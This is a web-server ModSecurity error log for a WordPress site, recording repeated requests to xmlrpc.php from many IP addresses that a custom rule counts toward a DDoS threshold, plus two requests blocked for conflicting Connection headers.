[Sat Apr 11 18:58:18.988531 2026] [:error] [pid 54610:tid 54622] [client 69.169.109.185:46612] [client 69.169.109.185] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 69.169.109.185, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adopSge-u3uFASN-RPGkiwAAAQk"]
[Sat Apr 11 19:04:34.475152 2026] [:error] [pid 54518:tid 54529] [client 13.235.96.22:48378] [client 13.235.96.22] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 13.235.96.22, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adoqwqKi5dAhX05ubq0-KgAAAIc"]
[Sat Apr 11 19:08:44.114766 2026] [:error] [pid 54610:tid 54630] [client 75.127.14.16:39186] [client 75.127.14.16] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 75.127.14.16, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adorvAe-u3uFASN-RPGpcgAAARE"]
[Sat Apr 11 19:18:29.305623 2026] [:error] [pid 65248:tid 65267] [client 149.129.97.104:40656] [client 149.129.97.104] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 149.129.97.104, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adouBTI-iGHcq-8gSqoGeAAAABE"]
[Sat Apr 11 19:23:05.327977 2026] [:error] [pid 65248:tid 65266] [client 212.129.7.184:46636] [client 212.129.7.184] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 212.129.7.184, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adovGTI-iGHcq-8gSqoJHgAAABA"]
[Sat Apr 11 19:27:03.047988 2026] [:error] [pid 54518:tid 54541] [client 5.56.58.240:36092] [client 5.56.58.240] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 5.56.58.240, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adowB6Ki5dAhX05ubq1DQQAAAJM"]
[Sat Apr 11 19:39:55.698595 2026] [:error] [pid 65248:tid 65274] [client 217.61.143.66:50426] [client 217.61.143.66] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 217.61.143.66, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adozCzI-iGHcq-8gSqoR9wAAABg"]
[Sat Apr 11 19:41:40.234203 2026] [:error] [pid 54610:tid 54634] [client 45.33.94.199:59096] [client 45.33.94.199] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 45.33.94.199, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adozdAe-u3uFASN-RPG26gAAARU"]
[Sat Apr 11 19:50:22.818342 2026] [:error] [pid 54610:tid 54613] [client 43.157.179.227:51660] [client 43.157.179.227] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.rcacivilgroup.com"] [uri "/"] [unique_id "ado1fge-u3uFASN-RPG7gwAAAQA"]
[Sat Apr 11 19:54:01.388224 2026] [:error] [pid 54610:tid 54615] [client 152.53.87.236:51464] [client 152.53.87.236] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 152.53.87.236, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ado2WQe-u3uFASN-RPG9nQAAAQI"]
[Sat Apr 11 19:57:56.487011 2026] [:error] [pid 54610:tid 54626] [client 148.113.189.81:47100] [client 148.113.189.81] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 148.113.189.81, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ado3RAe-u3uFASN-RPG_oQAAAQ0"]
[Sat Apr 11 19:58:23.913298 2026] [:error] [pid 54610:tid 54637] [client 217.154.180.19:55418] [client 217.154.180.19] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 217.154.180.19, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ado3Xwe-u3uFASN-RPG_0wAAARg"]
[Sat Apr 11 20:10:25.091601 2026] [:error] [pid 54520:tid 54589] [client 211.21.61.224:50172] [client 211.21.61.224] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 211.21.61.224, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ado6McOfMlnGwwoJrMCnngAAAE0"]
[Sat Apr 11 20:11:40.524188 2026] [:error] [pid 54610:tid 54618] [client 212.227.105.62:38548] [client 212.227.105.62] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 212.227.105.62, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ado6fAe-u3uFASN-RPHFdwAAAQU"]
[Sat Apr 11 20:20:13.111895 2026] [:error] [pid 18629:tid 18650] [client 192.250.227.63:55028] [client 192.250.227.63] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 192.250.227.63, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ado8fWW1jXPD9CXRfNROHAAAAVE"]
[Sat Apr 11 20:23:24.980403 2026] [:error] [pid 54610:tid 54635] [client 217.182.82.42:37056] [client 217.182.82.42] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 217.182.82.42, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ado9PAe-u3uFASN-RPHMAgAAARY"]
[Sat Apr 11 20:33:45.245620 2026] [:error] [pid 65248:tid 65269] [client 35.226.125.165:42174] [client 35.226.125.165] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.226.125.165, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ado_qTI-iGHcq-8gSqoinAAAABM"]
[Sat Apr 11 20:37:51.553090 2026] [:error] [pid 54520:tid 54582] [client 142.171.245.185:34418] [client 142.171.245.185] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 142.171.245.185, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adpAn8OfMlnGwwoJrMCuZAAAAEY"]
[Sat Apr 11 20:44:12.230374 2026] [:error] [pid 65248:tid 65256] [client 217.160.15.203:46500] [client 217.160.15.203] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 217.160.15.203, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adpCHDI-iGHcq-8gSqonHwAAAAY"]
[Sat Apr 11 20:48:04.729266 2026] [:error] [pid 18629:tid 18653] [client 223.233.77.246:28395] [client 223.233.77.246] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 223.233.77.246, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adpDBGW1jXPD9CXRfNRaXwAAAVQ"]
[Sat Apr 11 20:48:09.091074 2026] [:error] [pid 65248:tid 65255] [client 46.246.39.245:45742] [client 46.246.39.245] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 46.246.39.245, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adpDCTI-iGHcq-8gSqoo9AAAAAU"]
[Sat Apr 11 20:51:42.469182 2026] [:error] [pid 54610:tid 54634] [client 5.196.202.32:49812] [client 5.196.202.32] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 5.196.202.32, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adpD3ge-u3uFASN-RPHdtwAAARU"]
[Sat Apr 11 20:53:05.054932 2026] [:error] [pid 65248:tid 65257] [client 195.26.243.16:36824] [client 195.26.243.16] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 195.26.243.16, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adpEMTI-iGHcq-8gSqoqOgAAAAc"]
[Sat Apr 11 20:55:09.930648 2026] [:error] [pid 65248:tid 65262] [client 156.67.82.40:44386] [client 156.67.82.40] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 156.67.82.40, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adpErTI-iGHcq-8gSqoqyAAAAAw"]
[Sat Apr 11 21:03:24.768636 2026] [:error] [pid 54610:tid 54621] [client 47.244.90.157:37748] [client 47.244.90.157] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 47.244.90.157, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adpGnAe-u3uFASN-RPHi5AAAAQg"]
[Sat Apr 11 21:04:19.374048 2026] [:error] [pid 54610:tid 54623] [client 217.160.39.81:38018] [client 217.160.39.81] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 217.160.39.81, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adpG0we-u3uFASN-RPHjaAAAAQo"]
[Sat Apr 11 21:05:00.369369 2026] [:error] [pid 65248:tid 65267] [client 91.121.168.23:45548] [client 91.121.168.23] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 91.121.168.23, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adpG_DI-iGHcq-8gSqotjgAAABE"]
[Sat Apr 11 21:05:46.519297 2026] [:error] [pid 54518:tid 54526] [client 36.111.67.189:40531] [client 36.111.67.189] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "adpHKqKi5dAhX05ubq1U6QAAAIQ"]
[Sat Apr 11 21:07:04.379684 2026] [:error] [pid 54610:tid 54625] [client 202.157.175.19:51746] [client 202.157.175.19] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 202.157.175.19, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adpHeAe-u3uFASN-RPHlEgAAAQw"]
[Sat Apr 11 21:33:41.811925 2026] [:error] [pid 42220:tid 42253] [client 103.110.84.178:60560] [client 103.110.84.178] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.110.84.178, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adpNtUz5c3Cs6a8B5QuBVQAAAMI"]
[Sat Apr 11 21:37:58.542471 2026] [:error] [pid 42313:tid 42318] [client 155.133.138.66:63852] [client 155.133.138.66] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 155.133.138.66, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adpOtl2P8TxdbaN018IsvwAAAAI"]
[Sat Apr 11 21:41:42.574121 2026] [:error] [pid 42313:tid 42318] [client 157.230.249.241:51334] [client 157.230.249.241] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 157.230.249.241, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adpPll2P8TxdbaN018IwEgAAAAI"]
[Sat Apr 11 21:42:04.760645 2026] [:error] [pid 42313:tid 42328] [client 109.228.52.205:55772] [client 109.228.52.205] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 109.228.52.205, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adpPrF2P8TxdbaN018IwYwAAAAw"]
[Sat Apr 11 21:45:31.207381 2026] [:error] [pid 42313:tid 42340] [client 143.198.119.177:44052] [client 143.198.119.177] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 143.198.119.177, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adpQe12P8TxdbaN018IyyAAAABg"]
[Sat Apr 11 21:49:58.509182 2026] [:error] [pid 42219:tid 42229] [client 164.132.207.73:42604] [client 164.132.207.73] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 164.132.207.73, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adpRhg-4IkVbTQx_J-2EYgAAAIY"]
[Sat Apr 11 21:54:07.668760 2026] [:error] [pid 42313:tid 42332] [client 173.249.55.89:48462] [client 173.249.55.89] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 173.249.55.89, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adpSf12P8TxdbaN018I3nAAAABA"]
[Sat Apr 11 21:58:10.217607 2026] [:error] [pid 42219:tid 42241] [client 59.125.102.226:50456] [client 59.125.102.226] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 59.125.102.226, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adpTcg-4IkVbTQx_J-2GkAAAAJI"]
[Sat Apr 11 22:07:34.631876 2026] [:error] [pid 42313:tid 42323] [client 167.172.55.225:51626] [client 167.172.55.225] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 167.172.55.225, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adpVpl2P8TxdbaN018I8nwAAAAc"]
[Sat Apr 11 22:07:41.037422 2026] [:error] [pid 52608:tid 52630] [client 94.72.164.56:48398] [client 94.72.164.56] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 94.72.164.56, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adpVrSY5wH-BLt5QEKhCwAAAARM"]
[Sat Apr 11 22:09:00.805250 2026] [:error] [pid 42313:tid 42335] [client 45.227.163.112:44904] [client 45.227.163.112] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 45.227.163.112, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adpV_F2P8TxdbaN018I9pAAAABM"]
[Sat Apr 11 22:11:28.115479 2026] [:error] [pid 42221:tid 42299] [client 195.142.136.26:51444] [client 195.142.136.26] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 195.142.136.26, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adpWkE2gt0pb_0-cc6mRJQAAAFU"]
[Sat Apr 11 22:13:06.733258 2026] [:error] [pid 42219:tid 42231] [client 147.182.250.143:57004] [client 147.182.250.143] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 147.182.250.143, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adpW8g-4IkVbTQx_J-2LDQAAAIg"]
[Sat Apr 11 22:18:52.814625 2026] [:error] [pid 52608:tid 52615] [client 212.132.70.123:47850] [client 212.132.70.123] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 212.132.70.123, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adpYTCY5wH-BLt5QEKhIHAAAAQQ"]
[Sat Apr 11 22:28:12.894640 2026] [:error] [pid 42313:tid 42333] [client 103.183.75.90:52560] [client 103.183.75.90] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.183.75.90, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adpafF2P8TxdbaN018JGXwAAABE"]
[Sat Apr 11 22:30:43.352879 2026] [:error] [pid 52608:tid 52622] [client 45.33.13.194:45942] [client 45.33.13.194] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 45.33.13.194, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adpbEyY5wH-BLt5QEKhRUAAAAQs"]
[Sat Apr 11 22:31:12.880707 2026] [:error] [pid 52608:tid 52628] [client 217.182.82.42:57002] [client 217.182.82.42] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 217.182.82.42, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adpbMCY5wH-BLt5QEKhRrgAAARE"]
[Sat Apr 11 22:32:45.563959 2026] [:error] [pid 42221:tid 42291] [client 168.227.250.223:55876] [client 168.227.250.223] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 168.227.250.223, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adpbjU2gt0pb_0-cc6mXBAAAAE0"]
[Sat Apr 11 22:38:13.321714 2026] [:error] [pid 42313:tid 42323] [client 93.166.103.102:45066] [client 93.166.103.102] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 93.166.103.102, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adpc1V2P8TxdbaN018JLlAAAAAc"]
[Sat Apr 11 22:38:25.075464 2026] [:error] [pid 42313:tid 42334] [client 217.160.22.146:34012] [client 217.160.22.146] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 217.160.22.146, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adpc4V2P8TxdbaN018JLoQAAABI"]
[Sat Apr 11 22:45:18.567271 2026] [:error] [pid 42219:tid 42238] [client 178.33.162.49:57906] [client 178.33.162.49] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 178.33.162.49, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adpefg-4IkVbTQx_J-2WjAAAAI8"]
[Sat Apr 11 22:51:52.495558 2026] [:error] [pid 42219:tid 42235] [client 141.94.139.189:43034] [client 141.94.139.189] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 141.94.139.189, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adpgCA-4IkVbTQx_J-2YuAAAAIw"]
[Sat Apr 11 22:52:39.008856 2026] [:error] [pid 52608:tid 52611] [client 82.66.189.231:59506] [client 82.66.189.231] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 82.66.189.231, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adpgNyY5wH-BLt5QEKhe-wAAAQA"]
[Sat Apr 11 22:57:53.050335 2026] [:error] [pid 52608:tid 52615] [client 223.233.77.246:8702] [client 223.233.77.246] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 223.233.77.246, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adphcSY5wH-BLt5QEKhhaQAAAQQ"]
[Sat Apr 11 23:00:25.669959 2026] [:error] [pid 42221:tid 42281] [client 54.38.241.153:35084] [client 54.38.241.153] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 54.38.241.153, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adpiCU2gt0pb_0-cc6meOgAAAEM"]
[Sat Apr 11 23:07:38.682499 2026] [:error] [pid 42219:tid 42242] [client 20.218.128.24:44812] [client 20.218.128.24] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 20.218.128.24, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adpjug-4IkVbTQx_J-2e0gAAAJM"]
[Sat Apr 11 23:15:22.800374 2026] [:error] [pid 42219:tid 42229] [client 81.169.202.222:36962] [client 81.169.202.222] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 81.169.202.222, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adplig-4IkVbTQx_J-2imgAAAIY"]
